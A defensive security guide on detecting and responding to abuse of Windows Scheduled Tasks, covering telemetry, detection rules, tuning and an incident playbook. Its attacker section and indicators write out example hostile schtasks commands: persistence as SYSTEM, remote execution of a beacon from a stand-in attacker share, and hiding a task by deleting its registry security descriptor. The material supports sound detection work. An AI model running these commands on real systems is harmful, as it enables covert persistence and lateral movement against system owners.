Overview

Windows Scheduled Tasks (T1053.005) allow adversaries to register code to run automatically at a specified time, interval, or system event. Attackers use this capability to achieve persistence across reboots, execute payloads under elevated contexts such as SYSTEM, perform lateral movement by scheduling tasks remotely on other hosts, and mask execution by hiding tasks from standard enumeration tools.

Scheduled tasks are a native, signed Windows feature, which means malicious use blends naturally into enterprise noise. Every SOC team must detect abuse of this mechanism because it appears in nearly every stage of a modern intrusion — from initial access frameworks like Cobalt Strike to ransomware pre-deployment stages — and a missed scheduled task often means the attacker survives containment.

Attacker Perspective

Adversaries abuse the Windows Task Scheduler because it offers multiple creation interfaces, survives reboots, and can run code as any user or as SYSTEM with minimal privilege escalation required.

• schtasks.exe for persistence: Attackers run schtasks /create /tn "WindowsUpdate" /tr "C:\Users\Public\payload.exe" /sc onlogon /ru SYSTEM to launch a dropper every time any user logs on, commonly seen in post-exploitation frameworks like Metasploit and Cobalt Strike.
• PowerShell cmdlets for evasion: Attackers use Invoke-CimMethod -ClassName PS_ScheduledTask or Register-ScheduledTask with an XML definition stored on disk, avoiding direct schtasks.exe calls and bypassing process-level detections that only watch for that binary.
• Hidden tasks via registry SD deletion: Adversaries with SYSTEM privileges delete the SD value under HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\<TaskName> to make the task invisible to schtasks /query and Task Scheduler GUI — a technique publicly documented in the Tarrask malware campaign.
• Remote lateral movement via at/schtasks: Attackers use schtasks /create /s TARGETHOST /u DOMAIN\Admin /p Password /tn "Update" /tr "\\attacker\share\beacon.exe" /sc once /st 00:01 to execute a payload on a remote host without touching services or WMI directly.

The technique is attractive because it requires no external tooling, abuses a signed and trusted OS component, and is supported across every version of Windows an enterprise is likely to run.

Detection Strategy

Required Telemetry

• Windows Security Event Log — Event ID 4698 (Task Created): Enable via GPO under Computer Configuration → Windows Settings → Security Settings → Advanced Audit Policy → Object Access → Audit Other Object Access Events → Success. This is the single most important event for detecting new scheduled task registration.
• Windows Security Event Log — Event ID 4702 (Task Modified): Enabled by the same audit policy as 4698. Captures adversaries editing existing legitimate tasks to insert malicious actions — a common technique to avoid creating net-new tasks.
• Windows Security Event Log — Event ID 4699 (Task Deleted): Same audit policy. Captures cleanup activity — adversaries sometimes delete a task after single execution to remove evidence.
• Windows Security Event Log — Event ID 4700 / 4701 (Task Enabled/Disabled): Same audit policy. Useful for detecting dormant tasks being reactivated.
• Windows Security Event Log — Event ID 4688 (Process Creation with command line): Enable command-line auditing via GPO: Computer Configuration → Administrative Templates → System → Audit Process Creation → Include command line in process creation events = Enabled. Captures schtasks.exe and at.exe execution with full arguments.
• Sysmon Event ID 1 (Process Creation): Deploy Sysmon with a configuration that captures Image, CommandLine, ParentImage, ParentCommandLine, User, and IntegrityLevel. Sysmon is preferred over 4688 because it logs hashes and parent GUIDs by default.
• Sysmon Event ID 11 (File Creation): Captures task XML files written to C:\Windows\System32\Tasks\ or C:\Windows\SysWOW64\Tasks\. Any new file dropped here by a non-standard process is suspicious.
• Sysmon Event ID 13 (Registry Value Set): Configure Sysmon to monitor HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\. Captures task registration via COM/WMI interfaces that never call schtasks.exe.
• Sysmon Event ID 12/13/14 (Registry events for SD deletion): Monitor deletion of the SD value under HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\* to catch hidden task creation.
• Windows PowerShell Event Log — Event ID 4104 (Script Block Logging): Enable via GPO or registry: HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging → EnableScriptBlockLogging = 1. Captures Register-ScheduledTask, New-ScheduledTaskAction, and Invoke-CimMethod calls used to create tasks without schtasks.exe.
• Windows System Event Log — Event ID 7045 (New Service Installed) — supplemental: Not directly related to tasks, but adversaries who pivot between techniques often install services and tasks in sequence; collect this alongside task events for correlation.
• Task XML files on disk: Forward the contents of C:\Windows\System32\Tasks\ to your SIEM using a file integrity monitoring (FIM) solution or Sysmon Event ID 11. The XML contains the full action, trigger, and principal definition.

Key Indicators

• Suspicious parent process for schtasks.exe: Log source: Sysmon Event ID 1 or Security Event ID 4688. Field: ParentImage. Suspicious values: cmd.exe, powershell.exe, wscript.exe, cscript.exe, mshta.exe, regsvr32.exe, rundll32.exe. Legitimate schedulers (SCCM, backup agents) will appear as known service parents — anything else warrants scrutiny.
• schtasks.exe with /create and suspicious paths: Log source: Sysmon Event ID 1. Field: CommandLine. Look for patterns like schtasks /create combined with paths in C:\Users\Public\, C:\ProgramData\, %TEMP%, %APPDATA%, or UNC paths like \\<IP>\share\. Example: schtasks /create /tn "Update" /tr "C:\ProgramData\svch0st.exe" /sc minute /mo 5 /ru SYSTEM.
• schtasks.exe /run flag: Log source: Sysmon Event ID 1. Field: CommandLine contains /run immediately after task creation within a short time window — indicates the attacker is immediately executing the registered task.
• Remote task creation flags: Log source: Sysmon Event ID 1. Field: CommandLine contains /s (remote system), /u (user), and /p (password) flags together. Example: schtasks /create /s 192.168.1.50 /u domain\admin /p P@ssw0rd /tn "Sync" /tr "cmd.exe /c whoami".
• Task XML written to disk by non-standard process: Log source: Sysmon Event ID 11. Fields: TargetFilename matching C:\Windows\System32\Tasks\* AND Image NOT matching C:\Windows\System32\svchost.exe or taskeng.exe. Any other process writing directly to the Tasks folder is suspicious.
• Registry SD value deletion (hidden task): Log source: Sysmon Event ID 12/14. Field: TargetObject matching HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\*\SD with event type DeleteValue. This is high-fidelity — there is almost no legitimate reason to delete this value.
• PowerShell task registration keywords: Log source: PowerShell Event ID 4104. Field: ScriptBlockText contains Register-ScheduledTask, New-ScheduledTaskAction, or Invoke-CimMethod with PS_ScheduledTask. Cross-reference with the executing user and time of day.
• Task action pointing to encoded commands or interpreters: Log source: Security Event ID 4698 (task XML embedded in event). Field: TaskContent (the embedded XML). Look for <Command> values containing powershell.exe -enc, cmd.exe /c, wscript.exe, mshta.exe, or references to user-writable directories.
• Task running as SYSTEM created by non-SYSTEM user: Log source: Security Event ID 4698. Fields: SubjectUserName (the creator) is a standard user account, AND the task XML <UserId> or <RunLevel> specifies SYSTEM or HighestAvailable. This mismatch is a strong indicator of privilege abuse.

Detection Logic

Rule 1 — Broad: Any scheduled task creation by an interactive or non-service user
IF EventID = 4698 AND SubjectLogonType IN (2, 10) AND SubjectUserName NOT IN [known_admin_list] THEN alert(priority=medium)

This catches all new task registrations originating from interactive logon sessions. Expected volume is moderate in most environments — tune down with the exclusion list below before promoting to high priority. Use this initially to build a baseline of what normal task creation looks like in your environment.

Rule 2 — Medium: schtasks.exe spawned by a suspicious parent or writing to user-writable paths
IF Image ENDSWITH "schtasks.exe" AND CommandLine CONTAINS "/create" AND (ParentImage IN ["cmd.exe","powershell.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe"] OR CommandLine MATCHES REGEX "C:\\Users\\|C:\\ProgramData\\|%TEMP%|%APPDATA%|\\\\[0-9]{1,3}\.[0-9]") THEN alert(priority=high)

Targets the most common attacker pattern: a script interpreter creates schtasks.exe and points the task action to a user-writable or network path. This rule has lower false-positive volume than Rule 1 and can typically be set to high priority after a short baselining period.

Rule 3 — High precision: Registry SD deletion for hidden task creation
IF EventID IN [12, 14] AND TargetObject MATCHES "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Tree\\*\\SD" AND EventType = "DeleteValue" THEN alert(priority=critical)

This is a near-zero false positive rule. Deleting the SD registry value to hide a task from enumeration is an attacker-only behaviour documented in the Tarrask campaign. Treat every hit as a confirmed incident until proven otherwise. Expected volume: near zero in a healthy environment.

Rule 4 — High precision: Task created with encoded PowerShell or LOLBin in action
IF EventID = 4698 AND TaskContent MATCHES REGEX "powershell.*-[eE][nN][cC]|mshta\.exe|wscript\.exe|regsvr32\.exe|rundll32\.exe" AND TaskContent CONTAINS "<Command>" THEN alert(priority=critical)

Parses the embedded XML in Event ID 4698 and flags tasks whose action command is a living-off-the-land binary or uses Base64-encoded PowerShell. Legitimate software rarely embeds encoded commands in scheduled task definitions. This rule requires your SIEM to parse the XML payload from the event — verify your parser extracts the TaskContent field correctly before deploying.

Tuning Guidance

• SCCM / Endpoint Manager: Microsoft Configuration Manager creates and modifies scheduled tasks as part of software deployment and compliance evaluation. Exclude ParentImage ENDSWITH "ccmexec.exe" and SubjectUserName = "SYSTEM" when the source is a known SCCM server IP. Do not blanket-exclude SYSTEM — scope it to the SCCM service account.
• Antivirus and EDR agents: Products like CrowdStrike, Defender for Endpoint, and Carbon Black register scheduled tasks for their own update and scan cycles. Build an allowlist of the specific task names they create (e.g., TaskName CONTAINS "CrowdStrike" or TaskName CONTAINS "Windows Defender") rather than excluding by process name, which is easier to spoof.
• Backup software: Veeam, Backup Exec, and similar tools schedule jobs via schtasks. Exclude by SubjectUserName IN [backup_service_accounts] combined with TaskName CONTAINS "Backup" — require both conditions to avoid a single spoofable field carrying the exclusion.
• Software installers run by admins: Many legitimate installers (Adobe, Java, Google Chrome updater) create scheduled tasks during installation. Tune by adding a time-window condition: if the task creation occurs within 5 minutes of an installer process (e.g., msiexec.exe, setup.exe) on the same host for the same user, downgrade severity. Do not permanently suppress — installers should be short-lived events.
• IT automation scripts: PowerShell-based automation run by service accounts may legitimately call Register-ScheduledTask. Exclude SubjectUserName IN [automation_service_accounts] only when the script originates from an approved automation host (match on source IP or host name), and audit the exclusion quarterly.

When the Alert Fires: Investigation Steps

1. Confirm the alert is real and pull the raw event. Navigate directly to the source log (Security Event Log for Event ID 4698, or Sysmon for Event ID 1) on the affected host via your SIEM and verify the event exists with the expected fields intact. Check that the TaskContent XML is fully parsed and not truncated — truncation can mask the malicious action element.
2. Identify the affected host and the user who created the task. Record the SubjectUserName, SubjectDomainName, and SubjectLogonId from Event ID 4698, then cross-reference with Active Directory to determine whether this is a standard user, service account, or privileged account. Flag immediately if the creator is a domain admin, service account, or a user who has no business reason to create scheduled tasks.
3. Reconstruct the full process chain that led to task creation. Using Sysmon Event ID 1, pull the process tree by correlating ProcessGuid and ParentProcessGuid — trace back at least three levels above schtasks.exe or the PowerShell session. Look for unusual ancestors such as winword.exe, outlook.exe, or mshta.exe, which indicate the task creation was spawned by a phishing payload or drive-by execution.
4. Examine the task definition in full. Open the task XML from Event ID 4698’s TaskContent field or retrieve the file from C:\Windows\System32\Tasks\<TaskName> using your EDR’s live file retrieval. Record the <Command>, <Arguments>, <Triggers>, and <Principal> elements — the principal tells you what account the task runs as, and the trigger tells you how persistent it is.
5. Check whether the task has already executed and what it did. Search Sysmon Event ID 1 for processes whose ParentImage is taskeng.exe or svchost.exe (with task scheduler service arguments) launched around the task creation time. Then pivot to Sysmon Event ID 3 (network connections) and Event ID 11 (file creates) for the same ProcessGuid to determine whether a payload was downloaded, a C2 beacon was established, or additional tools were dropped to disk.
6. Look for lateral movement originating from this host. In your SIEM, search Security Event ID 4624 (logon) and 4648 (explicit credential logon) for outbound authentications from the affected host occurring within 30 minutes before and after the task creation. Also check for remote schtasks use: search Sysmon Event ID 1 on other hosts for schtasks.exe with /s <affected_host_IP> or incoming Event ID 4698 on other hosts where the SubjectUserName matches the compromised account.
7. Make the escalation decision. Treat the event as a confirmed incident requiring immediate containment if any of the following are true: the task action points to a user-writable or temp directory, the task runs as SYSTEM and was created by a non-SYSTEM interactive user, the SD registry value was deleted, network connections to external IPs were observed after task execution, or the process chain includes a document reader or browser as an ancestor. Downgrade to false positive only if the task name, creator, action path, and parent process all match an entry in your known-good allowlist with no anomalous network or file activity.

Response Playbook

Containment

• Isolate the host at the network level — do not power it off. Use your EDR console (CrowdStrike Network Containment, Defender for Endpoint Isolate Device, or Carbon Black quarantine) to block all network traffic except your EDR management channel. Keeping the host powered on preserves volatile memory, running processes, and open network connections for forensic capture.
• Disable the compromised user account immediately. In Active Directory Users and Computers or via Disable-ADAccount -Identity <username>, disable the account that created the task. If the account is a service account, coordinate with application owners before disabling — consider a password reset as an alternative if disabling would cause an outage.
• Revoke active sessions and Kerberos tickets. Run Invoke-Command or use your PAM tool to invalidate all active logon sessions for the compromised user. Force a Kerberos ticket purge by resetting the account password twice (this invalidates the Kerberos TGT) and notify your domain controller team to monitor for pass-the-ticket attempts using the old ticket until the TTL expires.
• Block identified C2 infrastructure at the perimeter. Submit any external IPs or domains contacted by the task’s payload to your firewall team and DNS security solution (Cisco Umbrella, Palo Alto DNS Security, or equivalent) for immediate block. Also add the indicators to your proxy deny list to catch any other hosts that may have received the same payload.
• Kill the malicious process if it is still running. Via your EDR console, terminate the process spawned by the scheduled task using its PID. Do not simply delete the task first — killing the active process stops current damage while the task registration evidence remains intact for forensics.

Eradication

• Delete the malicious scheduled task from all affected hosts. Run schtasks /delete /tn "<TaskName>" /f from an elevated prompt, or use your EDR’s remote script execution to run this across all hosts where the task was found. If the task was hidden (SD value deleted), you must restore the SD value first via the registry before the task becomes visible to schtasks — use a SYSTEM-level process to do so.
• Remove dropped payloads and staging tools from disk. Using your EDR’s file search capability or Sysmon Event ID 11 data, identify all files written to disk by the malicious process and delete them. Hash the files first and submit to VirusTotal for threat intelligence before deletion — confirm with your IR policy whether preservation copies are required for legal or insurance purposes.
• Check the TaskCache registry for orphaned entries. Even after deleting the task file, registry entries under HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\ may persist. Use reg query or your EDR’s registry search to find and remove entries matching the malicious task name under both the Tasks and Tree subkeys.
• Reset credentials for all accounts that touched the affected system. Reset passwords for the compromised user, any accounts whose credentials were present in memory on the host (identified from a memory dump or Sysmon logon events), and any service accounts whose credentials were passed in schtasks remote execution commands. Enforce MFA re-registration if your IdP supports it.
• Sweep lateral movement targets for the same scheduled task. On every host the compromised account authenticated to during the investigation window, query Sysmon Event ID 11 and Security Event ID 4698 for the same task name or action path. Assume persistence may have been dropped on each lateral movement target and treat them with the same eradication steps.
• Rotate any secrets or API keys potentially exposed on the compromised host. If the host ran services with embedded credentials, API keys, or certificates — check the process list and loaded modules from your EDR — rotate those secrets immediately and audit access logs for the services they protected.

Recovery

• Verify the host is clean before reconnecting it to the network. Before lifting network isolation, confirm via your EDR that no suspicious processes are running, no new scheduled tasks exist (run schtasks /query /fo LIST /v and review every entry), and no new services or run keys have been added. If your confidence level is below high — particularly if the attacker had SYSTEM access for an extended period — re-image the host from a known-good baseline rather than attempting to clean it in place.
• Re-enable the user account only after all persistence is confirmed removed. Before re-enabling the account in Active Directory, verify that no other persistence mechanism (registry run keys, WMI subscriptions, new local accounts) exists that references this user. Require the user to enroll a new MFA factor and change their password on first login.
• Monitor the affected host and user account intensively for 72 hours post-remediation. Create a temporary high-sensitivity detection rule in your SIEM that alerts on any process execution, network connection, or authentication event by the previously compromised account or from the previously affected host. Set the alert threshold lower than normal and route directly to a senior analyst for the monitoring period.
• Document the full attack timeline and produce a lessons-learned report. Record every event timestamp from initial task creation through containment, eradication, and recovery. Identify which detection fired first, what the dwell time was, and what controls failed to catch earlier stages of the attack. Share the timeline with the broader security team within five business days of incident closure.
• Update detection rules and threat intelligence based on IOCs discovered. Add the task names, file hashes, C2 IPs, and domains from this incident to your SIEM detection rules, threat intelligence platform, and EDR custom IOC feeds. Review Rule 1 through Rule 4 from the detection strategy and tighten any tuning exclusion that this incident revealed as overly broad.